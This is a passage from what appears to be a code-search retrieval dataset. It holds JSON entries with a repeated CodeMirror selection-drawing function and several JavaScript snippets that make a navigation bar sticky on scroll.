\"left\");\n\n var openStart = fromArg == null && from == 0, openEnd = toArg == null && to == lineLen;\n var first = i == 0, last = !order || i == order.length - 1;\n if (toPos.top - fromPos.top <= 3) { // Single line\n var openLeft = (docLTR ? openStart : openEnd) && first;\n var openRight = (docLTR ? openEnd : openStart) && last;\n var left = openLeft ? leftSide : (ltr ? fromPos : toPos).left;\n var right = openRight ? rightSide : (ltr ? toPos : fromPos).right;\n add(left, fromPos.top, right - left, fromPos.bottom);\n } else { // Multiple lines\n var topLeft, topRight, botLeft, botRight;\n if (ltr) {\n topLeft = docLTR && openStart && first ? leftSide : fromPos.left;\n topRight = docLTR ? rightSide : wrapX(from, dir, \"before\");\n botLeft = docLTR ? leftSide : wrapX(to, dir, \"after\");\n botRight = docLTR && openEnd && last ? rightSide : toPos.right;\n } else {\n topLeft = !docLTR ? leftSide : wrapX(from, dir, \"before\");\n topRight = !docLTR && openStart && first ? rightSide : fromPos.right;\n botLeft = !docLTR && openEnd && last ? leftSide : toPos.left;\n botRight = !docLTR ? rightSide : wrapX(to, dir, \"after\");\n }\n add(topLeft, fromPos.top, topRight - topLeft, fromPos.bottom);\n if (fromPos.bottom < toPos.top) { add(leftSide, fromPos.bottom, null, toPos.top); }\n add(botLeft, toPos.top, botRight - botLeft, toPos.bottom);\n }\n\n if (!start || cmpCoords(fromPos, start) < 0) { start = fromPos; }\n if (cmpCoords(toPos, start) < 0) { start = toPos; }\n if (!end || cmpCoords(fromPos, end) < 0) { end = fromPos; }\n if (cmpCoords(toPos, end) < 0) { end = toPos; }\n });\n return {start: start, end: end}\n }\n\n var sFrom = range$$1.from(), sTo = range$$1.to();\n if (sFrom.line == sTo.line) {\n drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n } else {\n var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);\n var singleVLine = visualLine(fromLine) == visualLine(toLine);\n var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n if (singleVLine) {\n if (leftEnd.top < rightStart.top - 2) {\n add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n } else {\n add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n }\n }\n if (leftEnd.bottom < rightStart.top)\n { add(leftSide, leftEnd.bottom, null, rightStart.top); }\n }\n\n output.appendChild(fragment);\n}", "title": "" }, { "docid": "d33add730f28978235e86c073a43cea0", "score": "0.56127924", "text": "function drawSelectionRange(cm, range$$1, output) {\n var display = cm.display, doc = cm.doc;\n var fragment = document.createDocumentFragment();\n var padding = paddingH(cm.display), leftSide = padding.left;\n var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;\n var docLTR = doc.direction == \"ltr\";\n\n function add(left, top, width, bottom) {\n if (top < 0) { top = 0; }\n top = Math.round(top);\n bottom = Math.round(bottom);\n fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", (\"position: absolute; left: \" + left + \"px;\\n top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) + \"px;\\n height: \" + (bottom - top) + \"px\")));\n }\n\n function drawForLine(line, fromArg, toArg) {\n var lineObj = getLine(doc, line);\n var lineLen = lineObj.text.length;\n var start, end;\n function coords(ch, bias) {\n return charCoords(cm, Pos(line, ch), \"div\", lineObj, bias)\n }\n\n function wrapX(pos, dir, side) {\n var extent = wrappedLineExtentChar(cm, lineObj, null, pos);\n var prop = (dir == \"ltr\") == (side == \"after\") ? \"left\" : \"right\";\n var ch = side == \"after\" ? extent.begin : extent.end - (/\\s/.test(lineObj.text.charAt(extent.end - 1)) ? 2 : 1);\n return coords(ch, prop)[prop]\n }\n\n var order = getOrder(lineObj, doc.direction);\n iterateBidiSections(order, fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir, i) {\n var ltr = dir == \"ltr\";\n var fromPos = coords(from, ltr ? \"left\" : \"right\");\n var toPos = coords(to - 1, ltr ? \"right\" : \"left\");\n\n var openStart = fromArg == null && from == 0, openEnd = toArg == null && to == lineLen;\n var first = i == 0, last = !order || i == order.length - 1;\n if (toPos.top - fromPos.top <= 3) { // Single line\n var openLeft = (docLTR ? openStart : openEnd) && first;\n var openRight = (docLTR ? openEnd : openStart) && last;\n var left = openLeft ? leftSide : (ltr ? fromPos : toPos).left;\n var right = openRight ? rightSide : (ltr ? toPos : fromPos).right;\n add(left, fromPos.top, right - left, fromPos.bottom);\n } else { // Multiple lines\n var topLeft, topRight, botLeft, botRight;\n if (ltr) {\n topLeft = docLTR && openStart && first ? leftSide : fromPos.left;\n topRight = docLTR ? rightSide : wrapX(from, dir, \"before\");\n botLeft = docLTR ? leftSide : wrapX(to, dir, \"after\");\n botRight = docLTR && openEnd && last ? rightSide : toPos.right;\n } else {\n topLeft = !docLTR ? leftSide : wrapX(from, dir, \"before\");\n topRight = !docLTR && openStart && first ? rightSide : fromPos.right;\n botLeft = !docLTR && openEnd && last ? leftSide : toPos.left;\n botRight = !docLTR ? rightSide : wrapX(to, dir, \"after\");\n }\n add(topLeft, fromPos.top, topRight - topLeft, fromPos.bottom);\n if (fromPos.bottom < toPos.top) { add(leftSide, fromPos.bottom, null, toPos.top); }\n add(botLeft, toPos.top, botRight - botLeft, toPos.bottom);\n }\n\n if (!start || cmpCoords(fromPos, start) < 0) { start = fromPos; }\n if (cmpCoords(toPos, start) < 0) { start = toPos; }\n if (!end || cmpCoords(fromPos, end) < 0) { end = fromPos; }\n if (cmpCoords(toPos, end) < 0) { end = toPos; }\n });\n return {start: start, end: end}\n }\n\n var sFrom = range$$1.from(), sTo = range$$1.to();\n if (sFrom.line == sTo.line) {\n drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n } else {\n var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);\n var singleVLine = visualLine(fromLine) == visualLine(toLine);\n var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n if (singleVLine) {\n if (leftEnd.top < rightStart.top - 2) {\n add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n } else {\n add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n }\n }\n if (leftEnd.bottom < rightStart.top)\n { add(leftSide, leftEnd.bottom, null, rightStart.top); }\n }\n\n output.appendChild(fragment);\n}", "title": "" }, { "docid": "d33add730f28978235e86c073a43cea0", "score": "0.56127924", "text": "function drawSelectionRange(cm, range$$1, output) {\n var display = cm.display, doc = cm.doc;\n var fragment = document.createDocumentFragment();\n var padding = paddingH(cm.display), leftSide = padding.left;\n var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;\n var docLTR = doc.direction == \"ltr\";\n\n function add(left, top, width, bottom) {\n if (top < 0) { top = 0; }\n top = Math.round(top);\n bottom = Math.round(bottom);\n fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", (\"position: absolute; left: \" + left + \"px;\\n top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) + \"px;\\n height: \" + (bottom - top) + \"px\")));\n }\n\n function drawForLine(line, fromArg, toArg) {\n var lineObj = getLine(doc, line);\n var lineLen = lineObj.text.length;\n var start, end;\n function coords(ch, bias) {\n return charCoords(cm, Pos(line, ch), \"div\", lineObj, bias)\n }\n\n function wrapX(pos, dir, side) {\n var extent = wrappedLineExtentChar(cm, lineObj, null, pos);\n var prop = (dir == \"ltr\") == (side == \"after\") ? \"left\" : \"right\";\n var ch = side == \"after\" ? extent.begin : extent.end - (/\\s/.test(lineObj.text.charAt(extent.end - 1)) ? 2 : 1);\n return coords(ch, prop)[prop]\n }\n\n var order = getOrder(lineObj, doc.direction);\n iterateBidiSections(order, fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir, i) {\n var ltr = dir == \"ltr\";\n var fromPos = coords(from, ltr ? \"left\" : \"right\");\n var toPos = coords(to - 1, ltr ? \"right\" : \"left\");\n\n var openStart = fromArg == null && from == 0, openEnd = toArg == null && to == lineLen;\n var first = i == 0, last = !order || i == order.length - 1;\n if (toPos.top - fromPos.top <= 3) { // Single line\n var openLeft = (docLTR ? openStart : openEnd) && first;\n var openRight = (docLTR ? openEnd : openStart) && last;\n var left = openLeft ? leftSide : (ltr ? fromPos : toPos).left;\n var right = openRight ? rightSide : (ltr ? toPos : fromPos).right;\n add(left, fromPos.top, right - left, fromPos.bottom);\n } else { // Multiple lines\n var topLeft, topRight, botLeft, botRight;\n if (ltr) {\n topLeft = docLTR && openStart && first ? leftSide : fromPos.left;\n topRight = docLTR ? rightSide : wrapX(from, dir, \"before\");\n botLeft = docLTR ? leftSide : wrapX(to, dir, \"after\");\n botRight = docLTR && openEnd && last ? rightSide : toPos.right;\n } else {\n topLeft = !docLTR ? leftSide : wrapX(from, dir, \"before\");\n topRight = !docLTR && openStart && first ? rightSide : fromPos.right;\n botLeft = !docLTR && openEnd && last ? leftSide : toPos.left;\n botRight = !docLTR ? rightSide : wrapX(to, dir, \"after\");\n }\n add(topLeft, fromPos.top, topRight - topLeft, fromPos.bottom);\n if (fromPos.bottom < toPos.top) { add(leftSide, fromPos.bottom, null, toPos.top); }\n add(botLeft, toPos.top, botRight - botLeft, toPos.bottom);\n }\n\n if (!start || cmpCoords(fromPos, start) < 0) { start = fromPos; }\n if (cmpCoords(toPos, start) < 0) { start = toPos; }\n if (!end || cmpCoords(fromPos, end) < 0) { end = fromPos; }\n if (cmpCoords(toPos, end) < 0) { end = toPos; }\n });\n return {start: start, end: end}\n }\n\n var sFrom = range$$1.from(), sTo = range$$1.to();\n if (sFrom.line == sTo.line) {\n drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n } else {\n var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);\n var singleVLine = visualLine(fromLine) == visualLine(toLine);\n var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n if (singleVLine) {\n if (leftEnd.top < rightStart.top - 2) {\n add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n } else {\n add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n }\n }\n if (leftEnd.bottom < rightStart.top)\n { add(leftSide, leftEnd.bottom, null, rightStart.top); }\n }\n\n output.appendChild(fragment);\n}", "title": "" }, { "docid": "d33add730f28978235e86c073a43cea0", "score": "0.56127924", "text": "function drawSelectionRange(cm, range$$1, output) {\n var display = cm.display, doc = cm.doc;\n var fragment = document.createDocumentFragment();\n var padding = paddingH(cm.display), leftSide = padding.left;\n var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;\n var docLTR = doc.direction == \"ltr\";\n\n function add(left, top, width, bottom) {\n if (top < 0) { top = 0; }\n top = Math.round(top);\n bottom = Math.round(bottom);\n fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", (\"position: absolute; left: \" + left + \"px;\\n top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) + \"px;\\n height: \" + (bottom - top) + \"px\")));\n }\n\n function drawForLine(line, fromArg, toArg) {\n var lineObj = getLine(doc, line);\n var lineLen = lineObj.text.length;\n var start, end;\n function coords(ch, bias) {\n return charCoords(cm, Pos(line, ch), \"div\", lineObj, bias)\n }\n\n function wrapX(pos, dir, side) {\n var extent = wrappedLineExtentChar(cm, lineObj, null, pos);\n var prop = (dir == \"ltr\") == (side == \"after\") ? \"left\" : \"right\";\n var ch = side == \"after\" ? extent.begin : extent.end - (/\\s/.test(lineObj.text.charAt(extent.end - 1)) ? 2 : 1);\n return coords(ch, prop)[prop]\n }\n\n var order = getOrder(lineObj, doc.direction);\n iterateBidiSections(order, fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir, i) {\n var ltr = dir == \"ltr\";\n var fromPos = coords(from, ltr ? \"left\" : \"right\");\n var toPos = coords(to - 1, ltr ? \"right\" : \"left\");\n\n var openStart = fromArg == null && from == 0, openEnd = toArg == null && to == lineLen;\n var first = i == 0, last = !order || i == order.length - 1;\n if (toPos.top - fromPos.top <= 3) { // Single line\n var openLeft = (docLTR ? openStart : openEnd) && first;\n var openRight = (docLTR ? openEnd : openStart) && last;\n var left = openLeft ? leftSide : (ltr ? fromPos : toPos).left;\n var right = openRight ? rightSide : (ltr ? toPos : fromPos).right;\n add(left, fromPos.top, right - left, fromPos.bottom);\n } else { // Multiple lines\n var topLeft, topRight, botLeft, botRight;\n if (ltr) {\n topLeft = docLTR && openStart && first ? leftSide : fromPos.left;\n topRight = docLTR ? rightSide : wrapX(from, dir, \"before\");\n botLeft = docLTR ? leftSide : wrapX(to, dir, \"after\");\n botRight = docLTR && openEnd && last ? rightSide : toPos.right;\n } else {\n topLeft = !docLTR ? leftSide : wrapX(from, dir, \"before\");\n topRight = !docLTR && openStart && first ? rightSide : fromPos.right;\n botLeft = !docLTR && openEnd && last ? leftSide : toPos.left;\n botRight = !docLTR ? rightSide : wrapX(to, dir, \"after\");\n }\n add(topLeft, fromPos.top, topRight - topLeft, fromPos.bottom);\n if (fromPos.bottom < toPos.top) { add(leftSide, fromPos.bottom, null, toPos.top); }\n add(botLeft, toPos.top, botRight - botLeft, toPos.bottom);\n }\n\n if (!start || cmpCoords(fromPos, start) < 0) { start = fromPos; }\n if (cmpCoords(toPos, start) < 0) { start = toPos; }\n if (!end || cmpCoords(fromPos, end) < 0) { end = fromPos; }\n if (cmpCoords(toPos, end) < 0) { end = toPos; }\n });\n return {start: start, end: end}\n }\n\n var sFrom = range$$1.from(), sTo = range$$1.to();\n if (sFrom.line == sTo.line) {\n drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n } else {\n var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);\n var singleVLine = visualLine(fromLine) == visualLine(toLine);\n var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n if (singleVLine) {\n if (leftEnd.top < rightStart.top - 2) {\n add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n } else {\n add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n }\n }\n if (leftEnd.bottom < rightStart.top)\n { add(leftSide, leftEnd.bottom, null, rightStart.top); }\n }\n\n output.appendChild(fragment);\n}", "title": "" }, { "docid": "d33add730f28978235e86c073a43cea0", "score": "0.56127924", "text": "function drawSelectionRange(cm, range$$1, output) {\n var display = cm.display, doc = cm.doc;\n var fragment = document.createDocumentFragment();\n var padding = paddingH(cm.display), leftSide = padding.left;\n var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;\n var docLTR = doc.direction == \"ltr\";\n\n function add(left, top, width, bottom) {\n if (top < 0) { top = 0; }\n top = Math.round(top);\n bottom = Math.round(bottom);\n fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", (\"position: absolute; left: \" + left + \"px;\\n top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) + \"px;\\n height: \" + (bottom - top) + \"px\")));\n }\n\n function drawForLine(line, fromArg, toArg) {\n var lineObj = getLine(doc, line);\n var lineLen = lineObj.text.length;\n var start, end;\n function coords(ch, bias) {\n return charCoords(cm, Pos(line, ch), \"div\", lineObj, bias)\n }\n\n function wrapX(pos, dir, side) {\n var extent = wrappedLineExtentChar(cm, lineObj, null, pos);\n var prop = (dir == \"ltr\") == (side == \"after\") ? \"left\" : \"right\";\n var ch = side == \"after\" ? extent.begin : extent.end - (/\\s/.test(lineObj.text.charAt(extent.end - 1)) ? 2 : 1);\n return coords(ch, prop)[prop]\n }\n\n var order = getOrder(lineObj, doc.direction);\n iterateBidiSections(order, fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir, i) {\n var ltr = dir == \"ltr\";\n var fromPos = coords(from, ltr ? \"left\" : \"right\");\n var toPos = coords(to - 1, ltr ? \"right\" : \"left\");\n\n var openStart = fromArg == null && from == 0, openEnd = toArg == null && to == lineLen;\n var first = i == 0, last = !order || i == order.length - 1;\n if (toPos.top - fromPos.top <= 3) { // Single line\n var openLeft = (docLTR ? openStart : openEnd) && first;\n var openRight = (docLTR ? openEnd : openStart) && last;\n var left = openLeft ? leftSide : (ltr ? fromPos : toPos).left;\n var right = openRight ? rightSide : (ltr ? toPos : fromPos).right;\n add(left, fromPos.top, right - left, fromPos.bottom);\n } else { // Multiple lines\n var topLeft, topRight, botLeft, botRight;\n if (ltr) {\n topLeft = docLTR && openStart && first ? leftSide : fromPos.left;\n topRight = docLTR ? rightSide : wrapX(from, dir, \"before\");\n botLeft = docLTR ? leftSide : wrapX(to, dir, \"after\");\n botRight = docLTR && openEnd && last ? rightSide : toPos.right;\n } else {\n topLeft = !docLTR ? leftSide : wrapX(from, dir, \"before\");\n topRight = !docLTR && openStart && first ? rightSide : fromPos.right;\n botLeft = !docLTR && openEnd && last ? leftSide : toPos.left;\n botRight = !docLTR ? rightSide : wrapX(to, dir, \"after\");\n }\n add(topLeft, fromPos.top, topRight - topLeft, fromPos.bottom);\n if (fromPos.bottom < toPos.top) { add(leftSide, fromPos.bottom, null, toPos.top); }\n add(botLeft, toPos.top, botRight - botLeft, toPos.bottom);\n }\n\n if (!start || cmpCoords(fromPos, start) < 0) { start = fromPos; }\n if (cmpCoords(toPos, start) < 0) { start = toPos; }\n if (!end || cmpCoords(fromPos, end) < 0) { end = fromPos; }\n if (cmpCoords(toPos, end) < 0) { end = toPos; }\n });\n return {start: start, end: end}\n }\n\n var sFrom = range$$1.from(), sTo = range$$1.to();\n if (sFrom.line == sTo.line) {\n drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n } else {\n var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);\n var singleVLine = visualLine(fromLine) == visualLine(toLine);\n var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n if (singleVLine) {\n if (leftEnd.top < rightStart.top - 2) {\n add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n } else {\n add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n }\n }\n if (leftEnd.bottom < rightStart.top)\n { add(leftSide, leftEnd.bottom, null, rightStart.top); }\n }\n\n output.appendChild(fragment);\n}", "title": "" }, { "docid": "d33add730f28978235e86c073a43cea0", "score": "0.56127924", "text": "function drawSelectionRange(cm, range$$1, output) {\n var display = cm.display, doc = cm.doc;\n var fragment = document.createDocumentFragment();\n var padding = paddingH(cm.display), leftSide = padding.left;\n var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;\n var docLTR = doc.direction == \"ltr\";\n\n function add(left, top, width, bottom) {\n if (top < 0) { top = 0; }\n top = Math.round(top);\n bottom = Math.round(bottom);\n fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", (\"position: absolute; left: \" + left + \"px;\\n top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) + \"px;\\n height: \" + (bottom - top) + \"px\")));\n }\n\n function drawForLine(line, fromArg, toArg) {\n var lineObj = getLine(doc, line);\n var lineLen = lineObj.text.length;\n var start, end;\n function coords(ch, bias) {\n return charCoords(cm, Pos(line, ch), \"div\", lineObj, bias)\n }\n\n function wrapX(pos, dir, side) {\n var extent = wrappedLineExtentChar(cm, lineObj, null, pos);\n var prop = (dir == \"ltr\") == (side == \"after\") ? \"left\" : \"right\";\n var ch = side == \"after\" ? extent.begin : extent.end - (/\\s/.test(lineObj.text.charAt(extent.end - 1)) ? 2 : 1);\n return coords(ch, prop)[prop]\n }\n\n var order = getOrder(lineObj, doc.direction);\n iterateBidiSections(order, fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir, i) {\n var ltr = dir == \"ltr\";\n var fromPos = coords(from, ltr ? \"left\" : \"right\");\n var toPos = coords(to - 1, ltr ? \"right\" : \"left\");\n\n var openStart = fromArg == null && from == 0, openEnd = toArg == null && to == lineLen;\n var first = i == 0, last = !order || i == order.length - 1;\n if (toPos.top - fromPos.top <= 3) { // Single line\n var openLeft = (docLTR ? openStart : openEnd) && first;\n var openRight = (docLTR ? openEnd : openStart) && last;\n var left = openLeft ? leftSide : (ltr ? fromPos : toPos).left;\n var right = openRight ? rightSide : (ltr ? toPos : fromPos).right;\n add(left, fromPos.top, right - left, fromPos.bottom);\n } else { // Multiple lines\n var topLeft, topRight, botLeft, botRight;\n if (ltr) {\n topLeft = docLTR && openStart && first ? leftSide : fromPos.left;\n topRight = docLTR ? rightSide : wrapX(from, dir, \"before\");\n botLeft = docLTR ? leftSide : wrapX(to, dir, \"after\");\n botRight = docLTR && openEnd && last ? rightSide : toPos.right;\n } else {\n topLeft = !docLTR ? leftSide : wrapX(from, dir, \"before\");\n topRight = !docLTR && openStart && first ? rightSide : fromPos.right;\n botLeft = !docLTR && openEnd && last ? leftSide : toPos.left;\n botRight = !docLTR ? rightSide : wrapX(to, dir, \"after\");\n }\n add(topLeft, fromPos.top, topRight - topLeft, fromPos.bottom);\n if (fromPos.bottom < toPos.top) { add(leftSide, fromPos.bottom, null, toPos.top); }\n add(botLeft, toPos.top, botRight - botLeft, toPos.bottom);\n }\n\n if (!start || cmpCoords(fromPos, start) < 0) { start = fromPos; }\n if (cmpCoords(toPos, start) < 0) { start = toPos; }\n if (!end || cmpCoords(fromPos, end) < 0) { end = fromPos; }\n if (cmpCoords(toPos, end) < 0) { end = toPos; }\n });\n return {start: start, end: end}\n }\n\n var sFrom = range$$1.from(), sTo = range$$1.to();\n if (sFrom.line == sTo.line) {\n drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n } else {\n var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);\n var singleVLine = visualLine(fromLine) == visualLine(toLine);\n var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n if (singleVLine) {\n if (leftEnd.top < rightStart.top - 2) {\n add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n } else {\n add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n }\n }\n if (leftEnd.bottom < rightStart.top)\n { add(leftSide, leftEnd.bottom, null, rightStart.top); }\n }\n\n output.appendChild(fragment);\n}", "title": "" } ]
527c4e11e867d9cd42b443c9cfbbfece
=========================================================== /Sticky Nav /===========================================================
[ { "docid": "892fa2f473cb436d9fb3783d788091cf", "score": "0.0", "text": "function scrollTo(target){\n\t\t$.scrollTo( $(target), 800 );\n\t}", "title": "" } ]
[ { "docid": "9f2393ec166da6ff9a6adddc88c718da", "score": "0.7924922", "text": "function navStick() {\r\nif (window.pageYOffset >= sticky) {\r\n nav.classList.add(\"sticky\")\r\n}\r\nelse {\r\n nav.classList.remove(\"sticky\");\r\n }\r\n}", "title": "" }, { "docid": "99a6a4a5afee0d9617109486340c7036", "score": "0.79028416", "text": "function stickyNav() {\n if ($('.sticky-nav').length) {\n var stickyNav = $('.sticky-nav');\n var windowScrollTop = $(window).scrollTop();\n if (windowScrollTop >= 60) {\n stickyNav.addClass('pos-fixed');\n } else {\n stickyNav.removeClass('pos-fixed');\n }\n }\n}", "title": "" }, { "docid": "90d3912688573fff318557fdcb561047", "score": "0.78695095", "text": "function stickyNav() {\n\tif (window.pageYOffset >= sticky) {\n\t\tnavbar.classList.add(\"sticky\")\n\t} else {\n\t\tnavbar.classList.remove(\"sticky\");\n\t}\n}", "title": "" }, { "docid": "d1bf9d35c00aa3313c34f8e01e1f9f5b", "score": "0.78154707", "text": "function stickyNav() {\n\t\t\n\t// VARIABLES TO GET SCROLL DISTANCE FOR ALL BROWSERS\n\tlet distance = document.getElementsByTagName(\"html\")[0].scrollTop;\n\tlet distance2 = document.body.scrollTop;\n\t\n\t// MAKE RESPONSIVE NAV STICK ON SCROLL\n\tif (distance > 1 || distance2 > 1) {\n\t\tbackToTop[0].style.background = \"rgb(30,145,255)\";\n\t\tbackToTop[1].style.background = \"rgb(30,145,255)\";\n\t\t\n\t} else {\n\t\tbackToTop[0].style.background = \"rgb(245,245,245)\";\n\t\tbackToTop[1].style.background = \"rgb(245,245,245)\";\n\t}\n}", "title": "" }, { "docid": "39b662430eec4fa22e2b83b1f2aba6b4", "score": "0.77585167", "text": "function stickyNav() {\r\n if (window.pageYOffset >= sticky) {\r\n navbar.classList.add(\"sticky\")\r\n } else {\r\n navbar.classList.remove(\"sticky\");\r\n }\r\n}", "title": "" }, { "docid": "5509799b2bbd86edf5fdced83716d23e", "score": "0.77189237", "text": "function stickyNav() {\n if (window.pageYOffset >= sticky) {\n navbar.classList.add(\"sticky-nav\")\n } else {\n navbar.classList.remove(\"sticky-nav\");\n }\n}", "title": "" }, { "docid": "4b6374ae83db831b0bbf2a9fd7447c6a", "score": "0.77104276", "text": "function stickyUtility() {\n\t\t\n\t\t// only update navOffset if it is not currently using fixed position\n\t\tif (!$(\"nav\").hasClass(\"fixed\")) {\n\t\t\tnavOffset = $(\"nav\").offset().top;\n\t\t}\n\t\t\n\t\t// apply matching height to nav wrapper div to avoid awkward content jumps\n\t\t$(\".nav-placeholder\").height($(\"nav\").outerHeight());\n\t\t\n\t} // end stickyUtility function", "title": "" }, { "docid": "e26ebbb4b1c83e14df99e43a46c93e30", "score": "0.76953685", "text": "function stickyNav() {\n if (window.pageYOffset >= sticky) {\n \n // here is to add the class call sticky form CSS \n headerLogo.classList.add('sticky');\n } else {\n \n // Remove sticky when it scroll up \n headerLogo.classList.remove('sticky');\n }\n}", "title": "" }, { "docid": "682c3d1a4f62fbed03b487b01a0b8584", "score": "0.7544038", "text": "function stickyNav(){\n var navPosition = $('#navbar').position();\n var scrollTop = $(window).scrollTop();\n\n if (scrollTop > navPosition.top) {\n $('#navbar').addClass('sticky');\n } else {\n $('#navbar').removeClass('sticky');\n }\n}", "title": "" }, { "docid": "4dd1d426dbe53dc470bd181e389b7e7f", "score": "0.7542119", "text": "function initStickyNav() {\n var $stickynav = jQuery('.container-stickynav'),\n $wrapper_stickynav = jQuery('.wrapper-stickynav');\n //jQuery(window).resize(function(){\n // var tallest_item_height = -1;\n // for (var i = 0; i < $wrapper_stickynav.find('.btn-stickynav').length; i ++) {\n // tallest_item_height = tallest_item_height < $wrapper_stickynav.find('.btn-stickynav:eq(' + i + ')').height() ? $wrapper_stickynav.find('.btn-stickynav:eq(' + i + ')').height() : tallest_item_height;\n // }\n // $wrapper_stickynav.find('.btn-stickynav, .container-cta').height(tallest_item_height);\n //});\n\n $stickynav.affix({\n offset: {\n top: $stickynav.offset().top + 1\n }\n }).find('.btn-stickynav').on('click', function(e) {\n // intercept clicks and scroll to position, otherise the sticky nav would cover the top of the content\n var target = jQuery(jQuery(this).attr('href'));\n jQuery('html,body').animate({\n scrollTop: target.offset().top - $stickynav.outerHeight()\n }, .8 * 1000);\n return false;\n });\n\n if(Crown.Common.Helper.isMobile()) {\n jQuery('body').scrollspy({\n target: '.container-stickynav-parent',\n offset: $stickynav.outerHeight() + 150\n });\n }\n else {\n jQuery('body').scrollspy({\n target: '.container-stickynav-parent',\n offset: $stickynav.outerHeight() + 50\n });\n }\n\n}", "title": "" }, { "docid": "4facb876bb4bef73341612c6d3f4330e", "score": "0.7534306", "text": "function stick() { \n nav.className = scrollTop() > height ? \"sticky\" : \"\";\n console.log(nav.className, scrollTop(), height);\n }", "title": "" }, { "docid": "fba9c65169a791dc6dde5957e0933c4e", "score": "0.74901485", "text": "function configureSticky() {\r\n\r\n if (window.pageYOffset >= navHeight) {\r\n navbar.classList.add(\"sticky\"); // 1024px.css\r\n } else {\r\n navbar.classList.remove(\"sticky\");\r\n }\r\n}", "title": "" }, { "docid": "aae91bedc1ea6e5baf5cc83d3271e23a", "score": "0.7433119", "text": "function frontpage_sticky() {\n /*var $nav_hero = $('.wrapper-main-content .container-fluid > div:first-child .hero-product-container').length > 0\n ? $('.wrapper-main-content .container-fluid > div:first-child .hero-product-container') : $('.wrapper-main-content .container-fluid > div:first-child .top-img-md');*/\n\n var $nav_hero;\n if ($('.wrapper-main-content .container-fluid > div:first-child .hero-product-container').length > 0) {\n $nav_hero = $('.wrapper-main-content .container-fluid > div:first-child .hero-product-container');\n } else if ($('.wrapper-main-content .container-fluid > div:first-child .top-img-md').length > 0) {\n $nav_hero = $('.wrapper-main-content .container-fluid > div:first-child .top-img-md');\n } else {\n $nav_hero = $('.wrapper-main-content .container-fluid > div:first-child.slide-to-top')\n }\n\n var hero_height = $nav_hero.outerHeight();\n var scroll_top = $(window).scrollTop();\n\n if (scroll_top >= hero_height) {\n $('.top').addClass('resized');\n $('html').addClass('resized');\n } else {\n $('.top').removeClass('resized');\n $('html').removeClass('resized open-extra-menu');\n }\n }", "title": "" }, { "docid": "01b00330c22a05e71eb34d5f03ac484b", "score": "0.74237293", 